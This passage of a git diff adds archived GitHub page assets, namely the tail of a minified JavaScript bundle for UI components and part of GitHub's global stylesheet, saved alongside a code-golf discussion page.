l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication 